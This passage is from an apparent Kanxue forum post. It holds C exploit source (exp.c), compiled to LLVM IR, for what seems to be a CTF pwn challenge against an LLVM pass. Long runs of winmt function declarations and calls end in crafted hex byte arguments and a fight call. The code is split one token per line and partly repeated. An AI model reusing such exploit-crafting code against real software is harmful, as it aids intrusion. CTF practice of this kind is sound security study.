x);
void winmt239(
int
x);
void winmt240(
int
x);
void fight(
int
x);
void gamestart()
{
winmt000(
0
);
winmt001(
0
);
winmt002(
0
);
winmt003(
0
);
winmt004(
0
);
winmt005(
0
);
winmt006(
0
);
winmt007(
0
);
winmt008(
0
);
winmt009(
0
);
winmt010(
0
);
winmt011(
0
);
winmt012(
0
);
winmt013(
0
);
winmt014(
0
);
winmt015(
0
);
winmt016(
0
);
winmt017(
0
);
winmt018(
0
);
winmt019(
0
);
winmt020(
0
);
winmt021(
0
);
winmt022(
0
);
winmt023(
0
);
winmt024(
0
);
winmt025(
0
);
winmt026(
0
);
winmt027(
0
);
winmt028(
0
);
winmt029(
0
);
winmt030(
0
);
winmt031(
0
);
winmt032(
0
);
winmt033(
0
);
winmt034(
0
);
winmt035(
0
);
winmt036(
0
);
winmt037(
0
);
winmt038(
0
);
winmt039(
0
);
winmt040(
0
);
winmt041(
0
);
winmt042(
0
);
winmt043(
0
);
winmt044(
0
);
winmt045(
0
);
winmt046(
0
);
winmt047(
0
);
winmt048(
0
);
winmt049(
0
);
winmt050(
0
);
winmt051(
0
);
winmt052(
0
);
winmt053(
0
);
winmt054(
0
);
winmt055(
0
);
winmt056(
0
);
winmt057(
0
);
winmt058(
0
);
winmt059(
0
);
winmt060(
0
);
winmt061(
0
);
winmt062(
0
);
winmt063(
0
);
winmt064(
0
);
winmt065(
0
);
winmt066(
0
);
winmt067(
0
);
winmt068(
0
);
winmt069(
0
);
winmt070(
0
);
winmt071(
0
);
winmt072(
0
);
winmt073(
0
);
winmt074(
0
);
winmt075(
0
);
winmt076(
0
);
winmt077(
0
);
winmt078(
0
);
winmt079(
0
);
winmt080(
0
);
winmt081(
0
);
winmt082(
0
);
winmt083(
0
);
winmt084(
0
);
winmt085(
0
);
winmt086(
0
);
winmt087(
0
);
winmt088(
0
);
winmt089(
0
);
winmt090(
0
);
winmt091(
0
);
winmt092(
0
);
winmt093(
0
);
winmt094(
0
);
winmt095(
0
);
winmt096(
0
);
winmt097(
0
);
winmt098(
0
);
winmt099(
0
);
winmt100(
0
);
winmt101(
0
);
winmt102(
0
);
winmt103(
0
);
winmt104(
0
);
winmt105(
0
);
winmt106(
0
);
winmt107(
0
);
winmt108(
0
);
winmt109(
0
);
winmt110(
0
);
winmt111(
0
);
winmt112(
0
);
winmt113(
0
);
winmt114(
0
);
winmt115(
0
);
winmt116(
0
);
winmt117(
0
);
winmt118(
0
);
winmt119(
0
);
winmt120(
0
);
winmt121(
0
);
winmt122(
0
);
winmt123(
0
);
winmt124(
0
);
winmt125(
0
);
winmt126(
0
);
winmt127(
0
);
winmt128(
0
);
winmt129(
0
);
winmt130(
0
);
winmt131(
0
);
winmt132(
0
);
winmt133(
0
);
winmt134(
0
);
winmt135(
0
);
winmt136(
0
);
winmt137(
0
);
winmt138(
0
);
winmt139(
0
);
winmt140(
0
);
winmt141(
0
);
winmt142(
0
);
winmt143(
0
);
winmt144(
0
);
winmt145(
0
);
winmt146(
0
);
winmt147(
0
);
winmt148(
0
);
winmt149(
0
);
winmt150(
0
);
winmt151(
0
);
winmt152(
0
);
winmt153(
0
);
winmt154(
0
);
winmt155(
0
);
winmt156(
0
);
winmt157(
0
);
winmt158(
0
);
winmt159(
0
);
winmt160(
0
);
winmt161(
0
);
winmt162(
0
);
winmt163(
0
);
winmt164(
0
);
winmt165(
0
);
winmt166(
0
);
winmt167(
0
);
winmt168(
0
);
winmt169(
0
);
winmt170(
0
);
winmt171(
0
);
winmt172(
0
);
winmt173(
0
);
winmt174(
0
);
winmt175(
0
);
winmt176(
0
);
winmt177(
0
);
winmt178(
0
);
winmt179(
0
);
winmt180(
0
);
winmt181(
0
);
winmt182(
0
);
winmt183(
0
);
winmt184(
0
);
winmt185(
0
);
winmt186(
0
);
winmt187(
0
);
winmt188(
0
);
winmt189(
0
);
winmt190(
0
);
winmt191(
0
);
winmt192(
0
);
winmt193(
0
);
winmt194(
0
);
winmt195(
0
);
winmt196(
0
);
winmt197(
0
);
winmt198(
0
);
winmt199(
0
);
winmt200(
0
);
winmt201(
0
);
winmt202(
0
);
winmt203(
0
);
winmt204(
0
);
winmt205(
0
);
winmt206(
0
);
winmt207(
0
);
winmt208(
0
);
winmt209(
0
);
winmt210(
0
);
winmt211(
0
);
winmt212(
0
);
winmt213(
0
);
winmt214(
0
);
winmt215(
0
);
winmt216(
0
);
winmt217(
0
);
winmt218(
0
);
winmt219(
0
);
winmt220(
0
);
winmt221(
0
);
winmt222(
0
);
winmt223(
0
);
winmt224(
0
);
winmt225(
0
);
winmt226(
0
);
winmt227(
0
);
winmt228(
0
);
winmt229(
0
);
winmt230(
0
);
winmt231(
0
);
winmt232(
0x6B
);
winmt233(
0x69
);
winmt234(
0x44
);
winmt235(
0x00
);
winmt236(
0
);
winmt237(
0
);
winmt238(
0
);
winmt239(
0
);
winmt240(
0x90
);
winmt240(
0x90
);
winmt232(
0x6B
);
winmt233(
0x69
);
winmt234(
0x44
);
winmt235(
0x00
);
fight(
0
);
}
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void winmt000(
int
x);
void winmt001(
int
x);
void winmt002(
int
x);
void winmt003(
int
x);
void winmt004(
int
x);
void winmt005(
int
x);
void winmt006(
int
x);
void winmt007(
int
x);
void winmt008(
int
x);
void winmt009(
int
x);
void winmt010(
int
x);
void winmt011(
int
x);
void winmt012(
int
x);
void winmt013(
int
x);
void winmt014(
int
x);
void winmt015(
int
x);
void winmt016(
int
x);
void winmt017(
int
x);
void winmt018(
int
x);
void winmt019(
int
x);
void winmt020(
int
x);
void winmt021(
int
x);
void winmt022(
int
x);
void winmt023(
int
x);
void winmt024(
int
x);
void winmt025(
int
x);
void winmt026(
int
x);
void winmt027(
int
x);
void winmt028(
int
x);
void winmt029(
int
x);
void winmt030(
int
x);
void winmt031(
int
x);
void winmt032(
int
x);
void winmt033(
int
x);
void winmt034(
int
x);
void winmt035(
int
x);
void winmt036(
int
x);
void winmt037(
int
x);
void winmt038(
int
x);
void winmt039(
int
x);
void winmt040(
int
x);
void winmt041(
int
x);
void winmt042(
int
x);
void winmt043(
int
x);
void winmt044(
int
x);
void winmt045(
int
x);
void winmt046(
int
x);
void winmt047(
int
x);
void winmt048(
int
x);
void winmt049(
int
x);
void winmt050(
int
x);
void winmt051(
int
x);
void winmt052(
int
x);
void winmt053(
int
x);
void winmt054(
int
x);
void winmt055(
int
x);
void winmt056(
int
x);
void winmt057(
int
x);
void winmt058(
int
x);
void winmt059(
int
x);
void winmt060(
int
x);
void winmt061(
int
x);
void winmt062(
int
x);
void winmt063(
int
x);
void winmt064(
int
x);
void winmt065(
int
x);
void winmt066(
int
x);
void winmt067(
int
x);
void winmt068(
int
x);
void winmt069(
int
x);
void winmt070(
int
x);
void winmt071(
int
x);
void winmt072(
int
x);
void winmt073(
int
x);
void winmt074(
int
x);
void winmt075(
int
x);
void winmt076(
int
x);
void winmt077(
int
x);
void winmt078(
int
x);
void winmt079(
int
x);
void winmt080(
int
x);
void winmt081(
int
x);
void winmt082(
int
x);
void winmt083(
int
x);
void winmt084(
int
x);
void winmt085(
int
x);
void winmt086(
int
x);
void winmt087(
int
x);
void winmt088(
int
x);
void winmt089(
int
x);
void winmt090(
int
x);
void winmt091(
int
x);
void winmt092(
int
x);
void winmt093(
int
x);
void winmt094(
int
x);
void winmt095(
int
x);
void winmt096(
int
x);
void winmt097(
int
x);
void winmt098(
int
x);
void winmt099(
int
x);
void winmt100(
int
x);
void winmt101(
int
x);
void winmt102(
int
x);
void winmt103(
int
x);
void winmt104(
int
x);
void winmt105(
int
x);
void winmt106(
int
x);
void winmt107(
int
x);
void winmt108(
int
x);
void winmt109(
int
x);
void winmt110(
int
x);
void winmt111(
int
x);
void winmt112(
int
x);
void winmt113(
int
x);
void winmt114(
int
x);
void winmt115(
int
x);
void winmt116(
int
x);
void winmt117(
int
x);
void winmt118(
int
x);
void winmt119(
int
x);
void winmt120(
int
x);
void winmt121(
int
x);
void winmt122(
int
x);
void winmt123(
int
x);
void winmt124(
int
x);
void winmt125(
int
x);
void winmt126(
int
x);
void winmt127(
int
x);
void winmt128(
int
x);
void winmt129(
int
x);
void winmt130(
int
x);
void winmt131(
int
x);
void winmt132(
int
x);
void winmt133(
int
x);
void winmt134(
int
x);
void winmt135(
int
x);
void winmt136(
int
x);
void winmt137(
int
x);
void winmt138(
int
x);
void winmt139(
int
x);
void winmt140(
int
x);
void winmt141(
int
x);
void winmt142(
int
x);
void winmt143(
int
x);
void winmt144(
int
x);
void winmt145(
int
x);
void winmt146(
int
x);
void winmt147(
int
x);
void winmt148(
int
x);
void winmt149(
int
x);
void winmt150(
int
x);
void winmt151(
int
x);
void winmt152(
int
x);
void winmt153(
int
x);
void winmt154(
int
x);
void winmt155(
int
x);
void winmt156(
int
x);
void winmt157(
int
x);
void winmt158(
int
x);
void winmt159(
int
x);
void winmt160(
int
x);
void winmt161(
int
x);
void winmt162(
int
x);
void winmt163(
int
x);
void winmt164(
int
x);
void winmt165(
int
x);
void winmt166(
int
x);
void winmt167(
int
x);
void winmt168(
int
x);
void winmt169(
int
x);
void winmt170(
int
x);
void winmt171(
int
x);
void winmt172(
int
x);
void winmt173(
int
x);
void winmt174(
int
x);
void winmt175(
int
x);
void winmt176(
int
x);
void winmt177(
int
x);
void winmt178(
int
x);
void winmt179(
int
x);
void winmt180(
int
x);
void winmt181(
int
x);
void winmt182(
int
x);
void winmt183(
int
x);
void winmt184(
int
x);
void winmt185(
int
x);
void winmt186(
int
x);
void winmt187(
int
x);
void winmt188(
int
x);
void winmt189(
int
x);
void winmt190(
int
x);
void winmt191(
int
x);
void winmt192(
int
x);
void winmt193(
int
x);
void winmt194(
int
x);
void winmt195(
int
x);
void winmt196(
int
x);
void winmt197(
int
x);
void winmt198(
int
x);
void winmt199(
int
x);
void winmt200(
int
x);
void winmt201(
int
x);
void winmt202(
int
x);
void winmt203(
int
x);
void winmt204(
int
x);
void winmt205(
int
x);
void winmt206(
int
x);
void winmt207(
int
x);
void winmt208(
int
x);
void winmt209(
int
x);
void winmt210(
int
x);
void winmt211(
int
x);
void winmt212(
int
x);
void winmt213(
int
x);
void winmt214(
int
x);
void winmt215(
int
x);
void winmt216(
int
x);
void winmt217(
int
x);
void winmt218(
int
x);
void winmt219(
int
x);
void winmt220(
int
x);
void winmt221(
int
x);
void winmt222(
int
x);
void winmt223(
int
x);
void winmt224(
int
x);
void winmt225(
int
x);
void winmt226(
int
x);
void winmt227(
int
x);
void winmt228(
int
x);
void winmt229(
int
x);
void winmt230(
int
x);
void winmt231(
int
x);
void winmt232(
int
x);
void winmt233(
int
x);
void winmt234(
int
x);
void winmt235(
int
x);
void winmt236(
int
x);
void winmt237(
int
x);
void winmt238(
int
x);
void winmt239(
int
x);
void winmt240(
int
x);
void fight(
int
x);
void gamestart()
{
winmt000(
0
);
winmt001(
0
);
winmt002(
0
);
winmt003(
0
);
winmt004(
0
);
winmt005(
0
);
winmt006(
0
);
winmt007(
0
);
winmt008(
0
);
winmt009(
0
);
winmt010(
0
);
winmt011(
0
);
winmt012(
0
);
winmt013(
0
);
winmt014(
0
);
winmt015(
0
);
winmt016(
0
);
winmt017(
0
);
winmt018(
0
);
winmt019(
0
);
winmt020(
0
);
winmt021(
0
);
winmt022(
0
);
winmt023(
0
);
winmt024(
0
);
winmt025(
0
);
winmt026(
0
);
winmt027(
0
);
winmt028(
0
);
winmt029(
0
);
winmt030(
0
);
winmt031(
0
);
winmt032(
0
);
winmt033(
0
);
winmt034(
0
);
winmt035(
0
);
winmt036(
0
);
winmt037(
0
);
winmt038(
0
);
winmt039(
0
);
winmt040(
0
);
winmt041(
0
);
winmt042(
0
);
winmt043(
0
);
winmt044(
0
);
winmt045(
0
);
winmt046(
0
);
winmt047(
0
);
winmt048(
0
);
winmt049(
0
);
winmt050(
0
);
winmt051(
0
);
winmt052(
0
);
winmt053(
0
);
winmt054(
0
);
winmt055(
0
);
winmt056(
0
);
winmt057(
0
);
winmt058(
0
);
winmt059(
0
);
winmt060(
0
);
winmt061(
0
);
winmt062(
0
);
winmt063(
0
);
winmt064(
0
);
winmt065(
0
);
winmt066(
0
);
winmt067(
0
);
winmt068(
0
);
winmt069(
0
);
winmt070(
0
);
winmt071(
0
);
winmt072(
0
);
winmt073(
0
);
winmt074(
0
);
winmt075(
0
);
winmt076(
0
);
winmt077(
0
);
winmt078(
0
);
winmt079(
0
);
winmt080(
0
);
winmt081(
0
);
winmt082(
0
);
winmt083(
0
);
winmt084(
0
);
winmt085(
0
);
winmt086(
0
);
winmt087(
0
);
winmt088(
0
);
winmt089(
0
);
winmt090(
0
);
winmt091(
0
);
winmt092(
0
);
winmt093(
0
);
winmt094(
0
);
winmt095(
0
);
winmt096(
0
);
winmt097(
0
);
winmt098(
0
);
winmt099(
0
);
winmt100(
0
);
winmt101(
0
);
winmt102(
0
);
winmt103(
0
);
winmt104(
0
);
winmt105(
0
);
winmt106(
0
);
winmt107(
0
);
winmt108(
0
);
winmt109(
0
);
winmt110(
0
);
winmt111(
0
);
winmt112(
0
);
winmt113(
0
);
winmt114(
0
);
winmt115(
0
);
winmt116(
0
);
winmt117(
0
);
winmt118(
0
);
winmt119(
0
);
winmt120(
0
);
winmt121(
0
);
winmt122(
0
);
winmt123(
0
);
winmt124(
0
);
winmt125(
0
);
winmt126(
0
);
winmt127(
0
);
winmt128(
0
);
winmt129(
0
);
winmt130(
0
);
winmt131(
0
);
winmt132(
0
);
winmt133(
0
);
winmt134(
0
);
winmt135(
0
);
winmt136(
0
);
winmt137(
0
);
winmt138(
0
);
winmt139(
0
);
winmt140(
0
);
winmt141(
0
);
winmt142(
0
);
winmt143(
0
);
winmt144(
0
);
winmt145(
0
);
winmt146(
0
);
winmt147(
0
);
winmt148(
0
);
winmt149(
0
);
winmt150(
0
);
winmt151(
0
);
winmt152(
0
);
winmt153(
0
);
winmt154(
0
);
winmt155(
0
);
winmt156(
0
);
winmt157(
0
);
winmt158(
0
);
winmt159(
0
);
winmt160(
0
);
winmt161(
0
);
winmt162(
0
);
winmt163(
0
);
winmt164(
0
);
winmt165(
0
);
winmt166(
0
);
winmt167(
0
);
winmt168(
0
);
winmt169(
0
);
winmt170(
0
);
winmt171(
0
);
winmt172(
0
);
winmt173(
0
);
winmt174(
0
);
winmt175(
0
);
winmt176(
0
);
winmt177(
0
);
winmt178(
0
);
winmt179(
0
);
winmt180(
0
);
winmt181(
0
);
winmt182(
0
);
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2022-9-4 13:27
被winmt编辑
,原因: 上传题目附件